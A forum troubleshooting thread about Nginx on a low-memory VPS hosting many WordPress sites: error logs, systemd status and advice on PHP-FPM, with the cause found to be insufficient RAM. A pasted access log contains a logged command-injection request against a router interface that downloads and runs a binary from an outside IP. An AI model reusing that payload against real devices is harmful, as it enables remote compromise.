Learn about Centmin Mod LEMP Stack today
Register Now

Wordpress, Option 22, ~23 Small-vHost, Cronjob, Disconnected

Discussion in 'Blogs & CMS usage' started by jacknguyen, May 15, 2024.

  1. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Code:
    cat /etc/centminmod-release
    124.00stable.s122
    
    Code:
    nginx -v
    nginx version: nginx/1.24.0 (210224-151128-centos7-kvm-0355c1b)
    -
    I'm using VPS OVH with the configuration of 1 vCore, 2GB Memory, currently hosting about 23 small websites ( site with only text HTML, no articles); i create vhost using option 22, I encounter an issue occasionally losing connection to the server. I can still SSH into the VPS normally. If I reboot the VPS or restart Nginx, the websites can be accessed normally again. I think there are two possibilities: 1) cronjobs are overloaded, or 2) someone is flooding my VPS. I'm not sure where to investigate the cause. Below is the cronjob list. For now, I'm temporarily fixing it by restarting Nginx every 2 hours.
    Code:
    [CODE]cat /etc/centminmod-release
    124.00stable.s122
    
    Code:
    nginx -v
    nginx version: nginx/1.24.0 (210224-151128-centos7-kvm-0355c1b)
    -
    I'm using VPS OVH with the configuration of 1 vCore, 2GB Memory, currently hosting about 23 small websites ( site with only text HTML, no articles); i create vhost using option 22, I encounter an issue occasionally losing connection to the server. I can still SSH into the VPS normally. If I reboot the VPS or restart Nginx, the websites can be accessed normally again. I think there are two possibilities: 1) cronjobs are overloaded, or 2) someone is flooding my VPS. I'm not sure where to investigate the cause. Below is the cronjob list. For now, I'm temporarily fixing it by restarting Nginx every 2 hours.

    Centmin23 - Pastebin.com

     
  2. eva2000

    eva2000 Administrator Staff Member

    51,981
    11,976
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,473
    Local Time:
    7:54 AM
    Nginx 1.25.x
    MariaDB 10.x
    When you loose access to server, if you use a VPN to change your IP address, are you able to access the server ?

    Are you restarting Nginx only or PHP-FPM as well?

    Could be PHP-FPM server is overloaded https://community.centminmod.com/threads/how-to-troubleshoot-optimize-php-fpm-server.15317/

    1 CPU core and 2GB memory is pretty low for 23x WordPress installations though. The thread at https://community.centminmod.com/threads/how-to-troubleshoot-optimize-php-fpm-server.15317/ also shows how to look at server usage metrics
     
  3. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    @eva2000 Thank you for replying. I can still SSH into the server normally even when using a VPS, changing IP, or using a different network. Everything seems okay today because I've been restarting Nginx every 2 hours. I'd like to add that I'm using Cloudflare, and just restarting Nginx makes everything work normally again.
     
  4. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    [​IMG]
    521 error
     
  5. eva2000

    eva2000 Administrator Staff Member

    51,981
    11,976
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,473
    Local Time:
    7:54 AM
    Nginx 1.25.x
    MariaDB 10.x
  6. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    hi, I'm just sticking with default option 22, without configuring anything else, including uncommenting and enabling the cloudflare.conf. Should I take this additional step? Currently, because I'm only setting up the site's home text, I'm turning off all plugins and monitoring further.
     
  7. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Yesterday, I uncommented and enabled the cloudflare.conf, but the Cloudflare 501 error still occurred. I tried checking the Nginx logs, but there was no access.log file. The error files are split by each day; however, most of them are unreadable. Only today's file (17/05) is readable. It seems the error is coming from autoprotect. I'm investigating further.
    error.log-20240517
    Code:
    2024/05/16 06:48:11 [emerg] 4716#4716: open() "/usr/local/nginx/conf/autoprotect/msite.com/autoprotect-msite.com.conf" failed (2: No such file or directory) in /usr/local/nginx/conf/conf.d/msite.com.conf:34
    2024/05/16 06:49:38 [alert] 1820#1820: worker process 7477 exited on signal 9
    
    error.log-20240515.gz
    Code:
    ã˚CfïœM
    É0‡}O1‡Æ'ø&πJȬ¶S    J"1–ø⁄E°"Eaxõ«˚`8rY£™ô4ÖCóv†\Æ¿¨—’û)˜îaÃ…”4-çzÖBwH¶–≈v{‚kM™=◊ۇߗ-«øú‡BòÍìŒ⁄(i§yú|O*m`†GÅ¡ß…ó0”LCŸ
    m6Qy≈™7Qu˛æŸo∂∑îKà›È
    ڃ"

    [​IMG]
     
  8. eva2000

    eva2000 Administrator Staff Member

    51,981
    11,976
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,473
    Local Time:
    7:54 AM
    Nginx 1.25.x
    MariaDB 10.x
    See official Centmin Mod getting started guide step 5 Getting Started Guide - CentminMod.com LEMP Nginx web stack for CentOS. Which directs you to Nginx Cloudflare, AWS Cloudfront & Incapsula (reverse proxy HttpRealIpModule) - CentminMod.com LEMP Nginx web stack for CentOS. Might also go through the rest of the steps too to ensure your optimally setup.
     
  9. eva2000

    eva2000 Administrator Staff Member

    51,981
    11,976
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,473
    Local Time:
    7:54 AM
    Nginx 1.25.x
    MariaDB 10.x
    Logs ending in .gz are gzip compressed and need to be uncompressed to read. You can use zcat command to output its contents on command line
    uncompress compressed log file and return output of the last 50 lines
    Code (Text):
    zcat logfile.log.gz | tail -50
    

    If log isn't compressed normal cat can be used
    Code (Text):
    cat logfile.log | tail -50
    

    See https://community.centminmod.com/threads/wordpress-403-permission-denied-errors.11215/ and https://community.centminmod.com/th...ccess-check-migration-to-nginx-deny-all.7308/
     
  10. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    nginx error-log today.
    Code:
    2024/05/18 09:00:01 [alert] 5620#5620: *143 open socket #81 left in connection 3
    2024/05/18 09:00:01 [alert] 5620#5620: *140 open socket #73 left in connection 4
    2024/05/18 09:00:01 [alert] 5620#5620: *139 open socket #72 left in connection 5
    2024/05/18 09:00:01 [alert] 5620#5620: *138 open socket #3 left in connection 7
    2024/05/18 09:00:01 [alert] 5620#5620: *144 open socket #83 left in connection 8
    2024/05/18 09:00:01 [alert] 5620#5620: *141 open socket #74 left in connection 12
    2024/05/18 09:00:01 [alert] 5620#5620: aborting
    2024/05/18 09:30:01 [alert] 5908#5908: *251 open socket #74 left in connection 11
    2024/05/18 09:30:01 [alert] 5908#5908: *249 open socket #73 left in connection 13
    2024/05/18 09:30:01 [alert] 5908#5908: aborting
    2024/05/18 11:30:01 [alert] 8292#8292: *170 open socket #3 left in connection 3
    2024/05/18 11:30:01 [alert] 8292#8292: aborting
    2024/05/18 13:00:01 [alert] 10195#10195: *252 open socket #3 left in connection 10
    2024/05/18 13:00:01 [alert] 10195#10195: *253 open socket #72 left in connection 12
    2024/05/18 13:00:01 [alert] 10195#10195: *255 open socket #74 left in connection 16
    2024/05/18 13:00:01 [alert] 10195#10195: aborting
    2024/05/18 13:34:23 [alert] 11744#11744: *5 open socket #72 left in connection 4
    2024/05/18 13:34:23 [alert] 11744#11744: *7 open socket #74 left in connection 5
    2024/05/18 13:34:23 [alert] 11744#11744: *9 open socket #75 left in connection 6
    2024/05/18 13:34:23 [alert] 11744#11744: aborting
    
    The Nginx error log messages you're seeing indicate that there are open sockets left in connections when Nginx is shutting down or reloading. These alerts generally suggest that there might be issues with how connections are being closed.
     
  11. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Code:
    ● nginx.service - SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server
       Loaded: loaded (/etc/rc.d/init.d/nginx; bad; vendor preset: disabled)
       Active: failed (Result: signal) since Mon 2024-05-20 23:13:53 +07; 7h ago
         Docs: man:systemd-sysv-generator(8)
      Process: 56363 ExecStop=/etc/rc.d/init.d/nginx stop (code=exited, status=0/SUCCESS)
      Process: 56306 ExecReload=/etc/rc.d/init.d/nginx reload (code=exited, status=0/SUCCESS)
     Main PID: 7058 (code=killed, signal=KILL)
    
    May 20 23:13:10 vps.vps.ovh.ca systemd[1]: Reloaded SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server.
    May 20 23:13:22 vps.vps.ovh.ca systemd[1]: Reloading SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server.
    May 20 23:13:48 vps.vps.ovh.ca nginx[56306]: nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
    May 20 23:13:53 vps.vps.ovh.ca systemd[1]: nginx.service: main process exited, code=killed, status=9/KILL
    May 20 23:13:53 vps.vps.ovh.ca nginx[56306]: nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
    May 20 23:13:53 vps.vps.ovh.ca nginx[56306]: Reloading nginx: [FAILED]
    May 20 23:13:53 vps.vps.ovh.ca systemd[1]: New main PID 7058 does not exist or is a zombie.
    May 20 23:13:53 vps.vps.ovh.ca systemd[1]: Reload failed for SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server.
    May 20 23:13:53 vps.vps.ovh.ca systemd[1]: Unit nginx.service entered failed state.
    May 20 23:13:53 vps.vps.ovh.ca systemd[1]: nginx.service failed.
     
  12. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Code:
    sudo nginx -t
    nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
    nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
     
  13. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Code:
    nginx status
    ● nginx.service - SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server
       Loaded: loaded (/etc/rc.d/init.d/nginx; bad; vendor preset: disabled)
       Active: active (running) since Tue 2024-05-21 06:57:47 +07; 3s ago
         Docs: man:systemd-sysv-generator(8)
      Process: 21431 ExecStart=/etc/rc.d/init.d/nginx start (code=exited, status=0/SUCCESS)
     Main PID: 21447 (nginx)
        Tasks: 2
       CGroup: /system.slice/nginx.service
               ├─21447 nginx: master process /usr/local/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
               └─21448 nginx: worker process
    
    May 21 06:57:44 vps.vps.ovh.ca systemd[1]: Starting SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server...
    May 21 06:57:47 vps.vps.ovh.ca nginx[21431]: Starting nginx: [  OK  ]
    May 21 06:57:47 vps.vps.ovh.ca systemd[1]: Started SYSV: Nginx is an HTTP(S) server, HTTP(S) reverse proxy and IMAP/POP3 proxy server.
     
  14. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Code:
    194.169.175.19 - - [21/May/2024:06:59:34 +0700] "GET / HTTP/1.1" 200 1873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
    185.242.226.10 - - [21/May/2024:07:45:09 +0700] "GET / HTTP/1.1" 200 1873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    195.1.144.109 - - [21/May/2024:08:01:41 +0700] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.15.222.150%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 146 "-" "Go-http-client/1.1"
    147.45.44.52 - - [21/May/2024:08:41:22 +0700] "GET / HTTP/1.1" 200 1873 "-" "Go-http-client/1.1"
    103.153.78.154 - - [21/May/2024:08:42:20 +0700] "POST / HTTP/1.1" 405 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    167.248.133.47 - - [21/May/2024:08:43:13 +0700] "GET / HTTP/1.1" 200 4515 "-" "-"
    167.248.133.47 - - [21/May/2024:08:43:19 +0700] "GET / HTTP/1.1" 200 1873 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
    167.248.133.47 - - [21/May/2024:08:43:19 +0700] "PRI * HTTP/2.0" 400 150 "-" "-"
    127.0.0.1 - - [21/May/2024:08:57:11 +0700] "GET /server-status HTTP/1.1" 404 146 "-" "csf/"
    127.0.0.1 - - [21/May/2024:08:57:11 +0700] "GET /server-status HTTP/1.1" 404 146 "-" "curl/7.29.0"
    167.94.146.52 - - [21/May/2024:09:15:17 +0700] "GET / HTTP/1.1" 200 4515 "-" "-"
    167.94.146.52 - - [21/May/2024:09:15:21 +0700] "GET / HTTP/1.1" 200 1873 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
    167.94.146.52 - - [21/May/2024:09:15:22 +0700] "PRI * HTTP/2.0" 400 150 "-" "-"
    87.121.69.52 - - [21/May/2024:09:19:35 +0700] "CONNECT google.com:443 HTTP/1.1" 400 150 "-" "-"
    124.226.222.66 - - [21/May/2024:09:21:02 +0700] "GET / HTTP/1.1" 200 1873 "http://www.nhanh.us" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
    This is localhost.access.log, it seems like someone is trying to attack the server.
     
  15. jcat

    jcat Member

    147
    22
    18
    Jun 21, 2015
    New Jersey
    Ratings:
    +62
    Local Time:
    5:54 PM
    Output:
    Code:
    journalctl -p err -r | head -100
     
  16. jacknguyen

    jacknguyen Member

    36
    4
    8
    Jun 3, 2022
    Ratings:
    +7
    Local Time:
    5:54 AM
    1.5
    10
    Thanks, bro, for the suggestion. After checking, I found an issue with the lack of RAM. It seems that 1.7GB of RAM from OVH is not enough for more than 20 basic WordPress vhosts. I have increased the Swap memory from 1GB to 2GB, and I will optimize WordPress further to reduce RAM usage.


    Code:
    free -h
                  total        used        free      shared  buff/cache   available
    Mem:           1.7G        1.2G        157M        252M        370M        113M
    Swap:          2.0G          0B        2.0G
     
  17. jcat

    jcat Member

    147
    22
    18
    Jun 21, 2015
    New Jersey
    Ratings:
    +62
    Local Time:
    5:54 PM
    Yep as @eva2000 mentioned initially, 2GB is too low especially if you are not controlling unnecessary usage from things like bad bots, preloading, etc. If you are using the default PHP-FPM conf with 30 max children this is too high, you should reduce it, and depending on memory per child, you should reduce max_requests to prevent them from growing too large. Just a pinch into the possibilities however.